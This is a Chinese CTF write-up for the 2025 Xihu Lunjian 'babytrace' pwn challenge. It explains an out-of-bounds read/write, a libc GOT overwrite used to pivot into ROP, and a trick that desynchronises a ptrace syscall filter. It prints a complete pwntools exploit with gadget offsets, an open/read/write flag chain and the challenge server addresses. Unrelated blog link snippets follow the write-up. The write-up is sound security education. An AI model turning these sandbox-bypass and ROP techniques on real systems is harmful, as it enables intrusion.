2025西湖论剑-babytrace
前言
就做了下题目,pwn1/3
都是签到,pwn2
后面绕 ptrace
有点意思,简单记录一下
漏洞分析
子进程中的读/写功能没有检查负数的情况,存在越界读写:
void __fastcall get_value(__int64 *int64_arr)
{__int64 ll; // [rsp+18h] [rbp-8h]if ( dword_202018 > 1 ){puts("permission denied!");}else{puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);printf("num[%lld] = %lld\n", ll, int64_arr[ll]);++dword_202018;}
}void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL);puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}
所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010
是在被写之后赋值为 0
的,所以无法通过修改 dword_202008
去实现无限次越界读,但是两次也足够了。
利用越界读泄漏 libc
和 stack
劫持程序执行流执行rop
泄漏了 libc
和 stack
后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value
中会先读 512
字节到栈上:
void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL); // 读取 512 字节puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}
所以很明显这里可以把 rop
链放在 buf
上,然后想办法把栈迁移过去。这里的 buf
的地址为低地址,并且只有 8
字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret
,栈迁移也不好做,所以这里我歇菜了
这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got
,因为后面会调用 puts
函数,其会调用到 libc
中的 __strlen_evex.got
,而在执行 puts
时,栈就被抬上去了,所以我们修改 __strlen_evex.got
为一个 add rsp xxx; ret
就有机会执行 rop
了,而 add rsp, xxx; ret
还是比 sub rsp, xxx; ret
好找的
绕过 ptrace
对系统调用的过滤
可以执行 rop
后,接下来就是考虑如何绕过父进程中的 ptrace
对 syscall
系统调用号的检查:
ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);do{ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )break;if ( ptrace(PTRACE_GETREGS, pid, 0LL, ®s) < 0 )error("GETREGS error");if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 ){if ( regs.orig_rax ){printf("bad syscall: %llu\n", regs.orig_rax);regs.orig_rax = -1LL;if ( ptrace(PTRACE_SETREGS, pid, 0LL, ®s) < 0 )error("SETREGS error");}}ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");}while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );
这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid
,其本意为:
# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");
但是这里 waitpid
捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop
中我们可以先通过某些 gadget
发出一个信号,此时被第一个 waitpid
捕获,后面在执行系统调用时,检查的逻辑就成了:
# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check
所以这里就成功绕过了检查,最后的 exp
如下:
直接执行
system
可能会出现问题,因为system
中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()menu = b'choose one >'def set_val(data, idx, val):sla(menu, b'1')sla(b'recv:\n', data)sla(b"which one?\n", byte(idx))sla(b"set value?\n", byte(val))def get_val(idx):sla(menu, b'2')sla(b"which one?\n", byte(idx))#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)rop = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()
远程效果如下:
后记
让 gpt
写一个正确使用 PTRACE_SYSCALL
的代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h> // 定义寄存器偏移量
#include <sys/user.h> // 定义 user_regs_structint main(int argc, char *argv[]) {if (argc < 2) {fprintf(stderr, "Usage: %s <program>\n", argv[0]);exit(1);}pid_t child = fork();if (child == 0) {// 子进程:执行目标程序ptrace(PTRACE_TRACEME, 0, NULL, NULL);execl(argv[1], argv[1], NULL);} else {// 父进程:跟踪目标进程int status;struct user_regs_struct regs;waitpid(child, &status, 0); // 等待子进程停止ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);while (1) {// 继续执行,直到下一个系统调用事件ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 进入系统调用ptrace(PTRACE_GETREGS, child, 0, ®s);printf("Entered syscall: %lld\n", regs.orig_rax);// 继续执行,直到系统调用退出ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 退出系统调用ptrace(PTRACE_GETREGS, child, 0, ®s);printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);}}if (WIFEXITED(status)) {// 目标进程退出printf("Child process exited\n");break;}}}return 0;
}
可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)
去过滤由系统调用产生的 SIGTRAP
信号,注意这里要配合 PTRACE_O_TRACESYSGOOD
,其会将系统调用产生的 SIGTRAP
信号与上 0x80
,就是用来区分其他事件产生的 SIGTRAP
信号
相关文章:
2025西湖论剑-babytrace
前言 就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下 漏洞分析 子进程中的读/写功能没有检查负数的情况,存在越界读写: void __fastcall get_value(__int64 *int64_arr) {__int64 ll; //…...
绘图专用,26个常见流程图符号及其解释
关注作者 当您设计网站、构建应用程序或绘制业务系统时,您需要一种方法来清晰地绘制步骤和用户流程。虽然您可以使用流程图来概述这些过程,但箭头和方框只能帮助您到目前为止。为了清楚地表达您的意思,您需要流程图符号。 为了帮助解释每个流…...
【个人学习记录】软件开发生命周期(SDLC)是什么?
软件开发生命周期(Software Development Life Cycle,SDLC)是一个用于规划、创建、测试和部署信息系统的结构化过程。它包含以下主要阶段: 需求分析(Requirements Analysis) 收集并分析用户需求定义系统目标…...
自学SpringBoot笔记
概念 什么是SpringBoot? Spring Boot 是基于 Spring Framework 的一款开源框架,主要用于简化 Spring 应用程序的开发。它通过提供一系列的 开箱即用的功能 和 自动配置,让开发者可以快速构建生产级别的独立应用程序,而无需手动配…...
03JavaWeb——Ajax-Vue-Element(项目实战)
1 Ajax 1.1 Ajax介绍 1.1.1 Ajax概述 我们前端页面中的数据,如下图所示的表格中的学生信息,应该来自于后台,那么我们的后台和前端是互不影响的2个程序,那么我们前端应该如何从后台获取数据呢?因为是2个程序…...
[leetcode](找到vector中的特定元素并删除)无重复字符的最长子串
一.找到vector中的特定元素并删除 #include <iostream> #include <vector> #include <algorithm> int main() { // 示例 vector std::vector<int> vec {1, 2, 3, 4, 5, 6}; // 要删除的元素 int aim 3; // 查找元素 auto it std::fin…...
Mockito+PowerMock+Junit单元测试
一、单元测试用途 1、日常开发团队要求规范,需要对开发需求代码进行单元测试并要求行覆盖率达到要求,DevOps流水线也会开设相关门禁阀值阻断代码提交,一般新增代码行覆盖率80%左右。 二、Mock测试介绍 1、Mock是为了解决不同的单元之间由于…...
Ncat: bind to :::7777: Address already in use报错问题解决
问题描述 Ncat: bind to :::7777: Address already in use. QUITTING. 具体解决方法 If you are in linux environment try, Use netstat -tulpn to display the processeskill -9 <pid> This will terminate the process If you are using windows, Use netstat -…...
Docker 搭建mysql 连接超时问题,xxl-job启动mysql连接报错,禁用dns
1.本地连接Navicat报错信息,猜测是navicat默认连接超时导致的,后面换成idea一个插件虽然慢但连接上了 2013 - Lost connection to MySQL server at reading initial communication packet 2.启动xxl-job会报错,网上有人mysql驱动与数据库不匹…...
在线图片像素颜色拾取工具
在线图片像素颜色拾取工具,非常方便的一个工具,无需登录,用完就走。 包括中文和英文版本。 https://getcolor.openai2025.com...
Qt之登录界面(splash)
在上一篇多文档窗口设计(MDI)的基础上增加了一个登录界面(splash). 该模块可以扩展为常规的软件登录界面。 界面展示如下 如果用户名和密码输入正确,则调到MDI界面,如果用户名和密码一共输入三次以上,则程序强制退出…...
NotebookLM:Google 最新 AI 笔记助理解析与实战应用
NotebookLM:Google 最新 AI 笔记助理解析与实战应用 在 AI 驱动的生产力工具不断进化的今天,Google 推出的 NotebookLM(Notebook Language Model)成为了一款备受关注的智能笔记助理。它结合了 Google 的大语言模型(LL…...
软路由系统iStoreOS 一键安装 docker compose
一键安装命令 大家好!今天我来分享一个快速安装 docker-compose 的方法。以下是我常用的命令,当前版本是 V2.32.4。如果你需要最新版本,可以查看获取docker compose最新版本号 部分,获取最新版本号后替换命令中的版本号即可。 w…...
vue3本地文件下载
开发记录: vue3本地下载文件要把文件放到public下,如果放在src里面可能会出现这个问题...
纯代码实现给WordPress添加文章复制功能
在给wordpress添加内容时,有时会遇到文章复制的功能,但是wordpress又没有这个功能。把下面一段代码添加到functions.php文件中,就可以实现这个功能。 /** Function for post duplication. Dups appear as drafts. User is redirected to the…...
Redis 中 TTL 的基本知识与禁用缓存键的实现策略(Java)
目录 前言1. 基本知识2. Java代码 前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 单纯学习Redis可以看我前言的Java基本知识路线!! 对于Java的基本知识推荐阅读: java框架…...
【PyQt】图像处理系统
[toc]pyqt实现图像处理系统 图像处理系统 1.创建阴影去除ui文件 2.阴影去除代码 1.创建阴影去除ui文件 UI文件效果图: 1.1QT Desiger设置组件 1.两个Pushbutton按钮 2.两个label来显示图像 3.Text Browser来显示输出信息 1.2布局的设置 1.先不使用任何La…...
Ruby语言的循环实现
Ruby语言的循环实现深入探讨 在程序设计中,循环是一种常见的控制结构,用于重复执行某些代码块。不同的编程语言提供了不同类型的循环结构,以满足不同的需求。Ruby是一种灵活且易于使用的编程语言,其循环实现方式独具一格…...
javaEE安全开发 SQL预编译 Filter过滤器 Listener 监听器 访问控制
前言 java开发和其他开发的不同并且更安全就是因为他拥有简单的预编译机制 filter 过滤器 和 listener 监听器 这个很重要 就是 web应用监听器和过滤器是在 Servlet 之前的并且 我们的请求和响应都需要经过 两者的同意才可以通过 缺一不可 、 Listener 安全方面 监听器…...
一体机cell服务器更换内存步骤
一体机cell服务器更换内存步骤: #1、确认grdidisk状态 cellcli -e list griddisk attribute name,asmmodestatus,asmdeactivationoutcome #2、offline griddisk cellcli -e alter griddisk all inactive #3、确认全部offline后进行关机操作 shutdown -h now #4、开…...
Hadoop•用Web UI查看Hadoop状态词频统计
听说这里是目录哦 通过Web UI查看Hadoop运行状态🐇一、关闭防火墙二、在物理计算机添加集群的IP映射三、启动集群四、进入HDFS的Web UI 词频统计🦩1、准备文本数据2、在HDFS创建目录3、上传文件4、查看文件是否上传成功5、运行MapReduce程序6、查看MapRe…...
rhel7.9利用有网络环境打包ansible
RHEL7.9激活(可省略) # 注册 subscription-manager register --usernameyour_username --passwordyour_password --auto-attach # 查看订阅状态 subscription-manager list # 将 “enabled1” 改为 “enabled0” vi /etc/yum/pluginconf.d/subscription-manager.conf 配置阿…...
vim文本编辑器三种模式的转换关系
输入模式 ———— 末行模式 输入模式和末行模式不能相互转换。 输入模式 ———— 命令模式 输入模式可以通过点击esc进入命令模式。 命令模式可以通过点击i进入输入模式。 末行模式 ———— 命令模式 末行模式可以通过点击esc进入命令模式。 命令模式可以通过shift&…...
深度学习:大模型Decoding+MindSpore NLP分布式推理详解
大模型推理流程 1. 用户输入提示词(Prompt) 假设用户输入为:“从前,有一只小猫,它喜欢……” 我们的目标是让模型生成一段完整的故事。 2. 模型处理用户输入 2.1 分词:输入提示被分词为模型可以理解的…...
【JVM中的三色标记法是什么?】
JVM中的三色标记法是什么? 一、基本概念二、标记过程三、优势与问题四、漏标与多标的解决方案三色标记法(Tri-color Marking Algorithm)是Java虚拟机(JVM)中一种用于追踪对象存活状态的垃圾回收算法。 它基于William D. Hana和Mark S. McCulleghan在1976年提出的两色标记法…...
数据库服务体系结构
1. 数据库服务应用配置 服务进行配置有什么作用? 实现服务运行启动 实现某些功能 应用配置有三种方式? 利用编译安装进行配置 编写配置文件信息 ,.默认的配置文件: /etc/my.cnf 利用启动命令参数配置信息,mysqld_safe --skip-grant-tables --…...
vscode项目依赖问题
必读 一定要将前端下拉的项目备份一下,很容易运行导致依赖报错,重新下载 命令 使用幽灵分解器安装 pnpm install 替代 npm install 设置淘宝NPM镜像源 yarn config set registry https://registry.npmmirror.com 查看目前依赖包的版本 npm list ant-d…...
R数据分析:有调节的中介与有中介的调节的整体介绍
单独的有调节的中介或者有中介的调节好多同学还大概能看明白,但是两个东西一起说我发现大部分同学就懵逼了。今天我就尝试将两种方法一起讲讲,重点帮助大家厘清两种方法的异同。 先从整体上看下两者的概念: 有中介的调节首先落脚在调节,调节作用必须是显著的,并且这个调…...
RabbitMQ-消息可靠性以及延迟消息
目录 消息丢失 一、发送者的可靠性 1.1 生产者重试机制 1.2 生产者确认机制 1.3 实现生产者确认 (1)开启生产者确认 (2)定义ReturnCallback (3)定义ConfirmCallback 二、MQ的持久化 2.1 数据持久…...
Hack The Box-Starting Point系列Oopsie
一. 答案 With what kind of tool can intercept web traffic? (什么样的工具可以拦截Web流量?) proxyWhat is the path to the directory on the webserver that returns a login page?(Web服务器上返回登录页面的目录路径是什么?) /cdn-cgi/loginWhat can be modified …...
东莞家用台灯东莞网站建设/上海推广seo
去年6月,重庆市发布了《重庆信息通信基础设施提档升级三年行动计划(2018-2020)》,提出推进5G规模化部署,建设超过12000个5G基站。今年1月,重庆市发布了《关于推进5G通信网建设发展的实施意见》,…...
怎么做网站流量统计分析/seo优化快速排名
#include <boost/type_index.hpp> std::cout<<boost::typeindex::type_id_with_cvr<decltype(变量名)>().pretty_name()<<std::endl;...
西安俄语网站建设/简述网站建设的基本流程
MySQL 的 JDBC 驱动 JAR 的版本问题版本问题mysql jdbc驱动版本与mysql数据库版本有一定的对应关系,用错了版本就会出现连接不上数据库的异常。mysql jdbc驱动版本与mysql数据库版本的对应关系,照着以下关系,选择相应的jdbc驱动和mysql数据版…...
上海城隍庙门票多少钱/娄底地seo
讲述 | 余承东 编辑 | HiEV 从2月到3月,网络上关于华为、问界和AITO的疑问讨论不断。先是在2月,华为将AITO宣传物料中的主要品牌替换成了「 HUAWEI问界」。 随后在华为年报会上,轮值董事长徐直军又指出:「有的个人、部门或者合作…...
闵行虹桥网站建设/seo优化培训多少钱
现在有一个需求就是在发版的时候希望除公司IP外的外网访问服务的时候都是拒绝访问的 现在利用haproxy 的acl规则作出限制 errorfile 403 /etc/haproxy/errfile/403.httpacl url_bao hdr(Host) …...
做流量哪个网站好/seo零基础入门到精通200讲
纵观国内技术圈,似乎大家都特别热衷于在一些应用层技术和概念上折腾。但飞哥却坚持认为应该分一些精力来扎扎实实地提升对底层的理解。当前火热的应用层的概念上比如服务网格、 DevOps、微服务、云计算、中台,具体的技术上如 Kubernets、Kafka、Elastic、…...